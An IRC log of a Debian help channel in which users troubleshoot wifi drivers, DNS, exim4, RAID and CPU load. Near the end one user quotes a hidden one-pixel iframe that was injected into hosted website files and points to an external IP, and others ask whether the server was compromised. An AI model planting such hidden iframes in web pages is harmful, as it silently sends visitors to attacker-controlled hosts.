| 18:37.10 | ringo999_ | hi im running debian etch. im in timezone utc+2, however, my time shows utc+4, even though I think it is configured right. what to do? |
| 18:37.11 | Haris | I heard there are two ways its installed/setup |
| 18:37.19 | Haris | config in one file or config in multiple files |
| 18:37.24 | Haris | It didn't ask me during install |
| 18:37.32 | Haris | Is this something I need to choose later on? |
| 18:37.34 | Wyzard | Haris: dpkg-reconfigure exim4-config |
| 18:37.38 | sepski | ringo999, tzconfig, if it's correct adjust the clock |
| 18:37.47 | Wyzard | Haris: IIRC, that should ask you all the config questions |
| 18:37.54 | Haris | ..or should I not need to worry about it? |
| 18:38.06 | Wyzard | Haris: debconf has a concept of priorities for different questions, and priorities when installing packages |
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| 18:38.23 | Wyzard | Haris: and questions that are below the current priority threshold are skipped, and the defaults used automatically |
| 18:38.31 | Haris | damn! .. config built from 50 small files |
| 18:38.47 | ringo999_ | sepski: how do i adjust the clock? |
| 18:38.51 | Wyzard | Haris: The question about single vs. split config is a low-priority question, I believe, so the default (no split config) gets used automatically unless you go back and change it |
| 18:39.06 | Haris | Wyzard: A feature/attribute of automatic package management. I see! |
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| 18:39.10 | Haris | A=Another |
| 18:39.33 | Haris | So, I shoulnd't have run dpkg-reconfigure exim4-config :p |
| 18:39.37 | Wyzard | Haris: It's possible to change the priority threshold that debconf uses when installing things... dpkg-reconfigure debconf, I believe |
| 18:39.38 | antazy | Hi, I have clean debian (from 180mb cd), first i want install kde, but now i reading about xfce, and choose xfce. With what command i can download and install xfce? |
| 18:39.48 | themill | ringo999_: do you also have another operating system installed as well as debian? |
| 18:40.13 | Ben_Cs | hello |
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| 18:40.45 | sylvantis | hello, how can i set and view the current java runtime environment? and how can i make iceweasel aware of it? |
| 18:41.06 | Ben_Cs | i'm having a problem with linux kernel and net. i heard theres a debian release with bsd/solaris kernel. can anyone give me details please? |
| 18:41.14 | themill | sylvantis: if you want sun java, then /msg dpkg install java |
| 18:41.22 | azeem | Ben_Cs: they're not stable nor releases |
| 18:41.25 | azeem | released* |
| 18:41.29 | sylvantis | themill: oki thnx |
| 18:41.30 | foo | Hm, apt-get update is showing this: W: GPG error: http://non-us.debian.org stable/non-US Release: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY F1D53D8C4F368D5D ... what do I need to do ? I think there was a factoid on this /me scratches head |
| 18:41.30 | Haris | I see the pros' n cons' |
| 18:41.34 | themill | sylvantis: java is managed via the alternatives system; man update-alternatives |
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| 18:41.57 | Haris | Ok .. is aptitude/apt-get based automatic package management comparable to fbsd's ports? |
| 18:41.58 | Wyzard | Ben_Cs: There's an official Debian port with the FreeBSD kernel, but it doesn't have a stable release AFAIK |
| 18:42.04 | themill | sylvantis: the iceweasel plugin is called sun-javaX-plugin where X=5 (etch) or 6 (backports.org or lenny/sid) |
| 18:42.18 | Wyzard | Ben_Cs: There's no official Debian port with a Solaris kernel -- that'd be NexentaOS, which is a third-party distro that's not supported here |
| 18:42.19 | Haris | or is that like apples and oranges |
| 18:42.37 | sylvantis | themill: ok thnx a lot =) |
| 18:42.43 | themill | foo: /topic |
| 18:42.43 | jelly-home | antazy: aptitude install xfce4 xfce4-goodies |
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| 18:43.04 | foo | themill: heh, no brainer. I've been in here for weeks, just missed it. Thanks :) |
| 18:43.12 | Haris | ..and with all the lenny/sid talk, makes me ask, has lenny/sid (I think which are the later versions, not yet released?) been released? |
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| 18:43.15 | Wyzard | Haris: Sort of... Debian's package system doesn't compile things from source on your own system like (afaik) ports does |
| 18:43.22 | themill | foo: np |
| 18:43.36 | themill | !tell Haris about releases |
| 18:43.40 | Haris | Wyzard: What I'm amazed with is, the base libraries are not an issue with ports |
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| 18:43.53 | Haris | I see .. so debian's packages are binary packages |
| 18:44.01 | foo | themill: hm, apt-get install debian-archive-keyring && apt-get update didn't fix the problem. I aleady have the keyring installed, it seems |
| 18:44.02 | Haris | pre-built, customized, ready for the OS |
| 18:44.02 | themill | !tell Haris about grounding |
| 18:44.02 | Ben_Cs | Wyzard: the only problem i'm having with debian is that when my - b-focus 270 modem is configured as router, debian gets almost no internet conectivity, while bsd/solaris/winxp have full conectivity |
| 18:44.03 | antazy | jelly-home: thx, i try it |
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| 18:44.34 | themill | foo: iirc the non-US repo isn't needed for etch any more. that might have something to do with it. |
| 18:44.40 | Wyzard | Haris: Well, BSD has a core system that provides all the standard libraries, so ports can assume all the core stuff is always there, right? |
| 18:44.48 | Wyzard | Haris: (I have limited BSD experience, but that's my understanding) |
| 18:44.58 | Haris | Yes |
| 18:45.01 | Wyzard | Haris: In most Linux distros, including Debian, *everything* is a package |
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| 18:45.05 | Wyzard | Haris: libc is a package in Debian |
| 18:45.06 | Haris | I don't think I can upgrade anything in the core |
| 18:45.15 | Haris | I can have duplicates on the box though |
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| 18:45.28 | DJ-Marcuzz | euhm okaj, i messed up an config file, and don't have a backup, is there any place in the system where i can copy the original from? |
| 18:45.35 | Haris | for eg, versions of openssh/l |
| 18:45.49 | dondelelcaro | DJ-Marcuzz: depends on which configuration file |
| 18:45.57 | Haris | core = base |
| 18:45.59 | DJ-Marcuzz | cupsd.conf :P |
| 18:46.27 | foo | themill: ok, that did it. I should be fine now, thank |
| 18:46.29 | foo | s |
| 18:46.46 | Wyzard | Haris: Debian doesn't really have the concept of a "base"... there's a "base system" that gets installed by default, but it's just a collection of packages |
| 18:46.52 | dondelelcaro | !confmiss |
| 18:46.53 | dpkg | the reason you have to use dpkg --force-confmiss is because whenever your config files (<conffiles>) are gone, dpkg assumes you deleted them on purpose, and that you want them to stay deleted. You can also reinstall them using the following apt-get line: apt-get -o DPkg::Options::="--force-confmiss" --reinstall install <packagename> |
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| 18:47.02 | Haris | I see |
| 18:47.03 | lvh | nick 0 |
| 18:47.04 | dondelelcaro | DJ-Marcuzz: use the above apt-get command with cupsys as the package name |
| 18:47.05 | lvh | hm |
| 18:47.10 | lvh | this is not my bitlbee screen |
| 18:47.11 | Haris | so it CAN be replaced/upgraded? |
| 18:47.15 | Haris | as time goes |
| 18:47.21 | dondelelcaro | Haris: everything can be, yes. |
| 18:47.31 | Wyzard | Haris: yes, individual packages in the "base system" can be upgraded -- for security updates, for example |
| 18:47.34 | Haris | ..and that's how we can upgrade OS version .. seemlessly |
| 18:47.39 | Haris | versions+ |
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| 18:48.08 | dondelelcaro | Haris: yes, and how we can install precisely what is required |
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| 18:48.52 | ringo999_ | what do i have to look for if i want to see if wifi is working? im running debian etch with xfce4 |
| 18:49.10 | azeem | ringo999_: try to ping google |
| 18:49.19 | Wyzard | Haris: It's quite common for there to be several packages built from a single codebase... for example, the "libssl0.9.8" package has the OpenSSL libraries, and the "openssl" package has the command-line tools |
| 18:49.32 | ringo999_ | well, i have regurlar network cable pluged in as well |
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| 18:49.38 | Wyzard | Haris: That way programs which depend on the SSL libraries can pull in libssl0.9.8, without having to pull in the command-line tools that they don't need |
| 18:49.44 | nico8481 | re |
| 18:49.44 | ringo999_ | how can i see if the wlan hardware was detected |
| 18:49.52 | ringo999_ | and see what networks are available |
| 18:49.55 | azeem | ringo999_: run iwconfig |
| 18:50.01 | azeem | <PROTECTED> |
| 18:50.25 | ringo999_ | azeem: i dont have that |
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| 18:50.52 | Wyzard | Haris: That's why you saw openssl being removed earlier -- that's not a removal of all SSL support, just the userspace tools |
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| 18:50.58 | azeem | ringo999_: install wireless-tools |
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| 18:52.19 | wfq | hi guys |
| 18:52.19 | ringo999_ | hmm...so what does iwconfig show, all the network interfaces? but it says no wirless extensions everywhere :-( |
| 18:52.33 | wfq | is there anyone who has set up a load balance via using LVS? |
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| 18:53.04 | ringo999_ | im quite sure though it shoot detect it |
| 18:53.27 | wfq | I have been reading something about it but there is something still I cannot understand |
| 18:53.41 | azeem | ringo999_: "it shoot"? |
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| 18:54.06 | azeem | ringo999_: what wlan card do you have? |
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| 18:55.56 | ringo999_ | azeem: should of course (its been a long day)... this is my notebook: http://209.85.135.104/search?q=cache:cftv0aQeC4UJ:hpwiki.cactii.net/hpwiki/NC6400+nc6400+linux+gold+silver&hl=en&ct=clnk&cd=1&client=iceweasel-a |
| 18:56.09 | azeem | ringo999_: pastebin the output of lspci |
| 18:56.14 | azeem | !pastebin |
| 18:56.14 | dpkg | Please don't paste anything into the channel; use a paste site instead, like: http://paste.lisp.org or http://rafb.net/paste/ or http://pastebin.ca/ or http://picpaste.com for pics. --- Also ask me: pastebin pipe |
| 18:56.20 | karsten | WTF: 11:56:06 up -24855 days, -3:-14, 7 users, load average: 0.13, 0.14, 0.10 |
| 18:56.29 | azeem | karsten: 32bit sucks |
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| 18:57.16 | karsten | azeem: I noticed my system clock was borked a day or so back, reset it with ntpdate. The box was last booted about a month ago. |
| 18:57.16 | ringo999_ | azeem: http://pastebin.com/d1446be42 |
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| 18:57.34 | karsten | azeem: I *definitely* haven't rolled the uptime counter. |
| 18:57.56 | azeem | 10:00.0 Network controller: Intel Corporation PRO/Wireless 3945ABG Network Connection (rev 02) |
| 18:58.00 | azeem | !ipw3945 |
| 18:58.01 | dpkg | If you're running a recent version of Debian (etch or greater), do the following: add contrib and non-free entries in your sources.list and aptitude update; aptitude install ipw3945-modules-2.6-686 firmware-ipw3945 ipw3945d; If you are not using the 686 kernel, replace the 686 with the kernel variant you are using (486) |
| 18:58.04 | azeem | ringo999_: ^^ |
| 18:58.06 | karsten | azeem: reboot system boot 2.6.18-4-686 Sun Sep 16 19:21 - 11:57 (21+16:36) |
| 18:58.13 | azeem | karsten: ok :) |
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| 18:59.20 | ringo999_ | azeem: alrighty, so the first step, adding "contrib non-free"...i always get stuck with that cause i dont really know what it means. where do i find such a source entry? |
| 18:59.35 | azeem | !non-free |
| 18:59.35 | dpkg | from memory, non-free is a component which contains software that does not comply with the <DFSG>. To add non-free packages to your packages index, ask me about <non-free sources>. To see which non-free packages are installed on your system, ask me about <vrms>. For the Non-free tracking system, see http://nonfree.alioth.debian.org/ |
| 18:59.39 | infinity0 | i'm having trouble compiling smlnj, can someone have a look at this please? http://debian.pastebin.com/m4cc82069 |
| 18:59.40 | ringo999_ | azeem: and the second, how do i replace the kernel? |
| 18:59.42 | azeem | !non-free sources |
| 18:59.42 | dpkg | extra, extra, read all about it, non-free sources is edit /etc/apt/sources.list, ensure that the two main debian mirror lines end with "main contrib non-free" rather than just "main", then apt-get update, or but bear in mind that you'll be installing non-free software. This may have onerous terms; check the licenses. |
| 18:59.58 | azeem | ringo999_: you don't need to replace the kernel, just install the modules |
| 19:00.05 | azeem | ringo999_: what does uname -r say? |
| 19:00.06 | stew | die |
| 19:00.08 | stew | err |
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| 19:00.13 | stew | EWINDOW |
| 19:00.18 | azeem | ;) |
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| 19:00.28 | ringo999_ | azeem: aha ;) 2.6.18-5-686 |
| 19:00.35 | Evildust | hi |
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| 19:01.06 | stew | someone is using a beta quality window manager around here |
| 19:01.13 | azeem | ringo999_: just follow what dpkg said |
| 19:01.23 | ringo999_ | azeem: yep, thanks a lot |
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| 19:01.30 | Haris | I added some aliases to /etc/bash.bashrc |
| 19:01.40 | Haris | re-logged in and they'r not there |
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| 19:01.58 | Haris | I need to have these aliases system wide. What did I miss? |
| 19:02.42 | Grey_ | Stupid internet |
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| 19:04.28 | ringo999_ | azeem: now i installed the modules, but now what? |
| 19:04.38 | ringo999_ | azeem: iwconfig still doesnt show anything |
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| 19:08.12 | lvh | nick 0 |
| 19:08.14 | lvh | ffs |
| 19:08.20 | tarzeau | do others with linux-image 2.6.22-2-686 also have sudden crashes (scroll+casp lock blinking)? |
| 19:08.38 | lvh | tarzeau: my caps lock key stopped working, does that count? |
| 19:08.45 | lvh | tarzeau: do you happen to have a radeon card? |
| 19:08.59 | lvh | tarzeau: mine totally crashes (that kver) if i use radeonfb+x |
| 19:09.18 | lvh | tarzeau: haven't checked blinkenlights |
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| 19:10.15 | tarzeau | lvh: nvidia |
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| 19:10.21 | FireflyST | hi |
| 19:10.57 | FireflyST | I need some help with my audio - I'd like to set up MPD on a box running the latest Debian, and I get thiese errors: ac97_codec: AC97 Audio codec, id: ADS72 (Analog Devices AD1881A) |
| 19:11.01 | FireflyST | i810_audio: AC'97 codec 0 Unable to map surround DAC's (or DAC's not present), total channels = 2 |
| 19:11.10 | FireflyST | that's from dmesg |
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| 19:11.25 | FireflyST | when I set up MPD, I got these errors: |
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| 19:11.43 | lvh | tarzeau: damn, can't help you then :( |
| 19:11.53 | lvh | tarzeau: but, to respond to your general question: no. |
| 19:11.53 | ringo999_ | i did as dpkg told me to do about ipw3945 in order to get wifi to work. but now what? |
| 19:12.06 | infinity0 | i'm having trouble compiling smlnj, can someone have a look at this please? http://debian.pastebin.com/m4cc82069 |
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| 19:18.03 | PhinnFort | where can I find backports for etch? |
| 19:18.34 | Haris | o.o |
| 19:18.37 | Haris | This is odd |
| 19:18.37 | infinity0 | PhinnFort: http://www.backports.org/ |
| 19:18.40 | Haris | backports for etch? |
| 19:18.46 | fairway | is track 1 of a cd at the outside or inside of the circle? |
| 19:18.48 | Ben_Cs | well guys, since i have some linux and adsl router issues i moved to bsd which doesn't have the problem. only to figure out i'm too accastumed to debian. so i desided to download the 3 dvd images of debian, so i'll have all the packages without the need of internet connection. so i'll probably will bug you alot later with this router problem i have :) |
| 19:19.14 | PhinnFort | infinity0: it seems like it's only for dapper |
| 19:19.24 | PhinnFort | Haris: as in a new version of PHP |
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| 19:19.28 | ringo999_ | if someone write "You can also install xserver-xorg-video-intel from universe repo on Edgy to get the new intel video driver", would that work on debian etch, or is etchy something else? |
| 19:19.52 | ringo999_ | what is universe repo? |
| 19:20.17 | PhinnFort | I have a user that gets this error/notice: http://framework.zend.com/issues/browse/ZF-1828 and he wants a new version of PHP, since he says it fixes it |
| 19:20.24 | Ben_Cs | dvs: hiding won't help :) |
| 19:20.30 | dvs | rats! |
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| 19:20.54 | Ben_Cs | BTW guys, does it matter if i install debian on a logical or primary partition? |
| 19:21.02 | dvs | Ben_Cs: no |
| 19:21.12 | PhinnFort | Ben_Cs: you can't have more than four primary part's, but other than that, no |
| 19:21.22 | Ben_Cs | i have 2 |
| 19:21.26 | xingu | fairway: cd's are clv - they only have one track (it's a spiral); but it starts toward the center |
| 19:21.50 | Haris | PhinnFort: Is there some version that has 0 security issues? |
| 19:21.52 | Ben_Cs | dvs: debian etch 4.0r1 has gui install right? |
| 19:22.02 | dvs | Ben_Cs: yes |
| 19:22.24 | dvs | Ben_Cs: I think you have to specify it on the boot: prompt |
| 19:22.24 | Haris | PhinnFort: .. one that hasn't been exploited yet, to put it in easy words? |
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| 19:22.46 | Ben_Cs | dvs: ok. i'll look it up |
| 19:22.48 | PhinnFort | Haris: not that I know about, sorry |
| 19:23.23 | Haris | I'm looking for a version for sarge, which also has some stable/etch packages |
| 19:23.24 | dvs | Ben_Cs: one of the Fn keys should tell you at the boot: prompt |
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| 19:23.50 | Ben_Cs | ok. bbl |
| 19:24.30 | xenonex | do you know how to disable incoming multicast traffic? |
| 19:24.31 | corea | when I try to boot I get this message: request_module: runaway loop modprobe binfmt_464c... first what does the message indicate? |
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| 19:25.06 | mentor | xenonex: ipv4 multicast? |
| 19:25.13 | xenonex | yes |
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| 19:26.06 | mentor | xenonex: Just iptables out the relevant IP ranges |
| 19:26.14 | Haris | Is there a way to check if raid0 is being implemented on the 2nd hdd? |
| 19:26.30 | FireflyST | nevermind ftm, Ithink I got it figured out |
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| 19:27.30 | killux | hi. i am configuring my network staticly, i can ping any node on my lan and ips outside my lan |
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| 19:27.37 | killux | im connected to the internet via a router |
| 19:27.50 | abrotman | Haris: FYI .. RAID0 is useless for data integrity |
| 19:27.55 | killux | how should i edit resolv.conf so i can ping websites hostnames |
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| 19:28.26 | mentor | killux: Add a nameserver. Are you connected via an ISP? |
| 19:28.28 | thrashy | Is it possible to have a hidden dir for a users home dir? |
| 19:28.35 | killux | mentor yes |
| 19:28.43 | killux | should the nameserver be my router |
| 19:28.48 | killux | or my DNS server ips? |
| 19:28.48 | orlandoj | the reiserfs supports quota ? My /home dir is using reiserfs and i cannot create quotas. |
| 19:28.58 | mentor | killux: Is your router setup to forward DNS? |
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| 19:29.01 | ringo999_ | if someone write "You can also install xserver-xorg-video-intel from universe repo on Edgy to get the new intel video driver", would that work on debian etch, or what does edgy mean? what is universe repo? |
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| 19:29.12 | killux | mentor: not sure how can i check? |
| 19:29.17 | maxamillion | killux: you might want to look into editing /etc/network/interfaces or just add nameservers to /etc/resolv.conf.custom (don't edit /etc/resolv.conf because network manager will over write your changes) |
| 19:29.19 | mentor | ringo999: It's an Ubuntu thing |
| 19:29.20 | corea | what does binfmt-464c do? |
| 19:29.26 | simonrvn | ringo999_: 'universe' isn't debian |
| 19:29.29 | Haris | abrotman: who cares as long as I have an exact copy on a seperate hdd |
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| 19:29.36 | mentor | killux: Look on your router's configuration interface |
| 19:29.46 | maxamillion | killux: note that /etc/resolv.conf.custom doesn't exist by default, you will have to create the file |
| 19:29.52 | mentor | Haris: That isn't RAID0 |
| 19:29.54 | Haris | abrotman: This box is not a production box |
| 19:30.00 | mentor | Haris: You want RAID-1? |
| 19:30.09 | killux | maxamillion: and then how should i have that file read instead of resolve.conf? |
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| 19:30.24 | maxamillion | killux: it reads it by default |
| 19:30.30 | simonrvn | thrashy: a dot dir... better to just lock up the perms on it and only that user has access |
| 19:30.32 | killux | maxamillion: ok |
| 19:30.35 | StucKman_ | how may I automatically modify an initrd? |
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| 19:30.45 | Haris | mentor: Right now, I need to check if raid has been implemented. If so, which RAID? 0 or 1 or any other. Then, I can decide which to implement |
| 19:30.45 | killux | mentor im in my routers interface right now |
| 19:30.45 | maxamillion | killux: you can do the same with /etc/modprobe.d/blacklist.custom |
| 19:30.48 | mentor | killux: You can also/preferably set up nameservers in your interfaces fle |
| 19:31.00 | killux | mentor how? |
| 19:31.03 | tarzeau | how to write this in groff correctly for a manual page? |
| 19:31.08 | tarzeau | .TP '\033]'+0, 1, or 2+';'+the title+'\007' |
| 19:31.11 | mentor | Haris: Well, as abrotman pointed out, RAID 0 doesn't make your data more reliable |
| 19:31.16 | maxamillion | killux: its basically "this is the custom version that the user can edit" and the original is the one left for scripts and programs to edit automatically |
| 19:31.18 | Terminus | there's a resolv.conf.custom? that's new. |
| 19:31.18 | mentor | killux: man interfaces |
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| 19:31.49 | StucKman_ | how may I automatically modify an initrd? I need to set max_llops to 64, but the loop module is loaded from the initrd, so if I modify the boot params or /etc/modules, ot doesn't count (sorry for the repost) |
| 19:31.56 | killux | mentor what router do you own? |
| 19:31.59 | killux | a linksys? |
| 19:32.09 | nico8481 | i notice that some stuff i need do not exist in stable yet, and i can't find backports for them (and apt-pinning them would get half of my distro's packages updated to -testing)... so i'm wondering if i shouldn't upgrade the whole dist to -testing... |
| 19:32.14 | nico8481 | however feel concerned about the fact that -testing is said to have a lesser security support than -stable (i've even been told that -testing is the worst regarding security), so how does its security compare to, say, ubuntu's? :) |
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| 19:32.21 | mentor | killux: Well, right now, I'm sitting on a big university pipe, and at home I use an old Pentium |
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| 19:32.41 | mentor | killux: The university probably has Cisco routers |
| 19:32.56 | thrashy | simonrvn: I made a dot dir and chowned it so only my user can access it, but how can i make it my home dir? when i adduser it just automatically makes the home dir for the user |
| 19:32.56 | killux | yea im just trying to figure how to check |
| 19:33.28 | killux | should i just put my DNS servers ip in |
| 19:33.30 | mentor | killux: Your router should come with documentation on how to configure it. Failing that, the manufacturer probably has a manual online |
| 19:33.56 | killux | mentor: ok but what am i looking for |
| 19:33.58 | simonrvn | thrashy: you don't need to do that, just chmod 700 it |
| 19:34.02 | killux | dns forwarding? |
| 19:34.08 | mentor | killux: Well, depending on the type of connection you have, they may be automatically picked up when you connect; failing that, yes. |
| 19:34.11 | mentor | killux: DNS |
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| 19:34.26 | mentor | killux: yes |
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| 19:35.20 | thrashy | simonrvn: but the actual folder will still be visible even if other users cant access it? |
| 19:35.28 | killux | mentor im pretty sure my router has dns forwarding |
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| 19:35.40 | simonrvn | thrashy: yes and? |
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| 19:36.01 | killux | so in resolv.conf type in nameserver 192.168.1.1? |
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| 19:36.23 | thrashy | simonrvn: I want to make a dot dir my home dir, is that possible? |
| 19:36.25 | simonrvn | i don't understand why it's so important to have it "invisible" |
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| 19:36.40 | PhinnFort | thrashy: afaik, yes |
| 19:36.42 | simonrvn | anyone running ls -A can see it |
| 19:36.51 | simonrvn | so it's pointless |
| 19:36.51 | PhinnFort | thrashy: there's no reason it shouldn't be possible |
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| 19:36.52 | thrashy | Ah fair enough |
| 19:37.14 | PhinnFort | thrashy: you can install yourself a rootkit that explicitly hides it, but that would be even more stupid;) |
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| 19:37.31 | thrashy | Basically im sharing a box with another guy and want to make a totally "invisible" user |
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| 19:39.47 | \amethyst | theoretically, by GR, time passes a little slower in January because the Earth is closer to the sun |
| 19:39.50 | \amethyst | doh |
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| 19:40.14 | Skyrail | \amethyst: sounds interesting =D |
| 19:40.38 | ringo999_ | does anyone else here have a ipw3945 card? i installed everything according to dpkg, but iwconfig still wont find it...:-( |
| 19:40.51 | ringo999_ | do i need to unplug the network cable for it to start? |
| 19:40.57 | ringo999_ | or restart? |
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| 19:42.14 | xingu | thrashy: you can do some pretty creative things with pam_namespace and pam_mount too. |
| 19:43.06 | Geekhead | Good Evening. I tried to follow the "Perfect Debian Etch Guide" and catch some problems. I took the XFS as the root filesystem and ext3 for /boot. I am trying to enable now quota like it mentioned in the guide, but he can?t mound the root filesystem rw, just ro. Maybe someone can help me please? |
| 19:43.25 | thrashy | xingu thanks :) |
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| 19:44.38 | Geekhead | talking about that part of the guide (http://www.howtoforge.com/perfect_setup_debian_etch_p3) |
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| 19:45.41 | thrashy | Is it possible to deny access to a users home dir to root? |
| 19:46.00 | \amethyst | not easily |
| 19:46.08 | corea | hey... what is the moddule, binfmt-464c? |
| 19:46.15 | Haris | <PROTECTED> |
| 19:46.15 | jelly-home | !rdepends |
| 19:46.16 | dpkg | well, rdepends is apt-cache rdepends foo; shows you what depends on foo |
| 19:46.17 | \amethyst | selinux can probably do it, but I don't know much about it |
| 19:46.20 | Haris | waiting for io? |
| 19:47.00 | themill | corea: where is this module from? |
| 19:47.09 | jelly-home | Haris: correct |
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| 19:47.55 | corea | a kernel, 2.6.18-5-xen-686 |
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| 19:48.25 | corea | it says its in a runaway loop modprobing it |
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| 19:48.40 | Haris | I hate a cpu brought down by waiting for I/O requests |
| 19:48.57 | xingu | thrashy: sure; nfsmount them into a user's private namespace |
| 19:50.37 | corea | I am tying to boot it after using debootstrap on it, I don't think it did everything to set it upand I'm stuck in a 64 bit arch playing with this 32bit one, trying to boot it |
| 19:51.14 | themill | corea: there's module binfmt-misc |
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| 19:52.44 | corea | misc? ok, thanks... so it's trying to run a script or somethign |
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| 19:52.58 | corea | but why can't the kernel even boot? |
| 19:53.27 | Haris | can I tell the cpu how much cpu to give to a process at runtime or when its already running? |
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| 19:54.10 | corea | how many people are here? |
| 19:54.20 | jnguy | 809 |
| 19:54.23 | xingu | Haris: renice; and it's not absolute, it's relative |
| 19:54.30 | xingu | Haris: and pre-CFS, it's busted. |
| 19:55.17 | tarzeau | Haris: there's cpulimit? |
| 19:55.25 | jelly-home | Haris: it's not brought down if it's 80% idle |
| 19:55.26 | valdyn | Haris: cpus are not brought down by i/o requests |
| 19:55.46 | valdyn | Haris: you're just misinterpreting these values you see in top |
| 19:56.27 | corea | themill: I'm getting this message after the kernel boots, repeated 5 or 6 times, "request_module: runaway loop modprobe binfmt 464c" |
| 19:56.35 | tarzeau | Haris: a cpu waiting for i/o isn't brought down. you should read the source for load average calculation |
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| 19:57.44 | corea | does that mean it can't find the module? |
| 19:58.02 | Haris | jelly-home: Its 0.x % idle |
| 19:58.14 | abrotman | Haris: so what's using 99.x% ? |
| 19:58.18 | Haris | 70-80+ % 's going to wa |
| 19:58.38 | Haris | I gave it something to grep :-) |
| 19:58.38 | jelly-home | Haris: not the one you quoted above |
| 19:58.47 | Haris | jelly-home: Yep |
| 19:58.48 | valdyn | Haris: that's your misinterpretation |
| 19:58.50 | Geekhead | noone can help me with my xfs quota problem? |
| 19:58.54 | valdyn | Haris: its not going to %wa |
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| 19:59.19 | Haris | when I type top, it takes a while before it starts working |
| 19:59.23 | sam_home | what plugin do i need to make divX work in iceweasel? is there a .deb? |
| 19:59.32 | ringo999_ | could someone please help me to get my wirless working. im using ipw3945. and i have installed everything according to dpkg. now what? |
| 19:59.37 | valdyn | Haris: %wa IS idle time |
| 19:59.48 | gpm | load modules? |
| 20:00.15 | Haris | ok, cpu1 is 60-70 % idle. you'r right |
| 20:00.28 | Haris | valdyn: I see |
| 20:00.42 | jelly-home | Haris: a newer kernel (2.6.23-rc series) should improve interactivity matters. Also take a look at ionice. |
| 20:01.05 | valdyn | Haris: its just a more verbose %id, in that its stating that its only idle because your i/o system is slow |
| 20:01.25 | Haris | for eg; |
| 20:01.26 | Haris | <PROTECTED> |
| 20:01.26 | Haris | <PROTECTED> |
| 20:01.40 | valdyn | Haris: that's 2 cpus that have nothing to do |
| 20:02.04 | jelly-home | Haris: and if you give the cpu something to crunch? Like cp /dev/zero /dev/null & ? |
| 20:02.08 | Haris | that's strange. I'v given it to grep thousands of files under a tree |
| 20:02.25 | Haris | jelly-home: Can't risk that on a client's box :p |
| 20:02.33 | valdyn | Haris: grep hardly loads the cpu used that way |
| 20:02.45 | valdyn | Haris: that's more of a random access disk benchmark |
| 20:02.49 | Haris | grep -r -H '' ./ |
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| 20:03.30 | valdyn | no wonder your cpus are idle.. |
| 20:03.41 | xingu | valdyn: it does when your entire filesystem fits in memory, and you're running it the second time ;) |
| 20:03.57 | valdyn | xingu: sure |
| 20:04.40 | Haris | grep |
| 20:04.43 | stew | Haris: what are you trying to do? |
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| 20:04.50 | Haris | grep's taking b/w 1-5 % cpu |
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| 20:05.23 | corea | Hi everyone, I'm getting this message after the kernel boots, repeated 5 or 6 times, "request_module: runaway loop modprobe binfmt 464c", how do I fix it? |
| 20:05.30 | Haris | stew: Finding out occurances of specific text in website files, checking which were altered after I updated php one or two days ago |
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| 20:06.14 | dhe | what does this string do: echo ${1+"$@"} |
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| 20:06.32 | Haris | top - 22:06:03 up 5 days, 4:45, 2 users, load average: 5.13, 5.34, 4.71 |
| 20:06.58 | stew | Haris: with "grep -r -H '' ./"? |
| 20:07.13 | Haris | Its a webhosting server |
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| 20:07.26 | Haris | there's apache2 with it |
| 20:08.11 | Haris | apache+grep takes turns for cpu load, hehe |
| 20:08.25 | stew | Haris: for "finding out occurances of specific text in website files" run "fgrep -r 'specific text' /var/www" or replace /var/www with wherever your files are |
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| 20:09.07 | stew | Haris: fir finding files altered after a certain time, use find, "man find" or "info find" and look for the mtime or newer options |
| 20:09.29 | Haris | interesting |
| 20:09.59 | Haris | find's man page still hasn't loaded |
| 20:10.13 | Haris | its taking a good bit of time on queries to hdd |
| 20:10.19 | jelly-home | Haris: if you're doing mostly reading, you can tune the priority of io requests with ionice |
| 20:10.50 | stew | Haris: are you still running "grep -r -H '' ./" ? |
| 20:11.00 | Haris | for the moment |
| 20:11.03 | stew | Haris: why? |
| 20:11.07 | Haris | its been running a long time |
| 20:11.13 | stew | Haris: why are you running that command? |
| 20:11.27 | jelly-home | wtf is grep '' supposed to do? |
| 20:11.41 | Haris | Its probably a good 40+ down the road |
| 20:11.52 | corea | I look in /lib/modules/2.6.18-5-xen-686/modules.dep and it doesn't say anything about that module |
| 20:12.01 | stew | jelly-home: afaik, it matches everything |
| 20:12.02 | Haris | jelly-home: grep -r -H 'iframe' /var/www/vhosts |
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| 20:12.42 | jelly-home | Haris: ah, I thought you were literally looking for an empty string |
| 20:13.11 | Haris | iframe tags were added to files, pointing to some 80. /8 networks |
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| 20:13.29 | stew | Haris: oh, the server was hacked? |
| 20:13.35 | Haris | not hacked |
| 20:13.42 | abrotman | used for evil! |
| 20:13.54 | stew | Haris: how were the iframe tags added? |
| 20:13.57 | Haris | I was only given 1 example of a file that was modified |
| 20:13.58 | jelly-home | abrotman: which server isn't? |
| 20:14.03 | Haris | ..am checking for others |
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| 20:14.12 | Haris | stew: No idea |
| 20:14.15 | jelly-home | Haris: ever heard of timestamps? |
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| 20:14.22 | stew | Haris: but you know it wasn't hacked? |
| 20:14.30 | Haris | stew: I don't think this box runs a file modification checker app |
| 20:14.36 | Haris | stew: Yes |
| 20:14.39 | stew | Haris: how do you know? |
| 20:14.52 | Haris | stew: No ssh logins |
| 20:15.02 | Haris | the server hasn't gone crazy with rootkits |
| 20:15.08 | stew | Haris: how do you know? |
| 20:15.09 | Haris | or php scripts that might have gone wild |
| 20:15.28 | Haris | stew: Because in two days, I haven't received complaints about them |
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| 20:16.08 | stew | Haris: and there is some mechanism that makes someone complain within two days of a server being hacked? |
| 20:16.09 | tss | Any ideas why after dist-upgrade my libssl now appears to require AES256 ciphers from the server, and accepts nothing else? I can't figure out if this is even configurable somewhere. Forcing a AES128 cipher works with openssl s_client, but I can't do that to other software.. |
| 20:16.16 | Haris | I was thinking of upgrading php to 5, but when I looked at the security issues, I have put it on hold |
| 20:16.35 | marcz908 | I just ran apt-get update, and it get me this error message: W: GPG error: http://ftp.debian.org etch Release: Unknown error executing gpgv, W: You may want to run apt-get update to correct these problems ... any ideas how to fix this? |
| 20:16.42 | Haris | stew: ..ok, what are you suggesting here? |
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| 20:17.06 | stew | Haris: are these iframes not supposed to be there? waht do they do? |
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| 20:17.38 | Haris | e.g.: <iframe src='http://81.95.149.77/traff.php' width='1' height='1' style='visibility:hidden'></iframe> |
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| 20:17.50 | stew | Haris: what does that do? is it not supposed to be there? |
| 20:17.56 | Haris | No, they are not supposed to be there |
| 20:17.58 | elenril | after an update, when i try to run azureus i get |
| 20:17.59 | elenril | Exception in thread "main" java.lang.NoClassDefFoundError: org/apache/commons/cli/CommandLine |
| 20:18.04 | jelly-home | marcz908: is your clock set up correctly? |
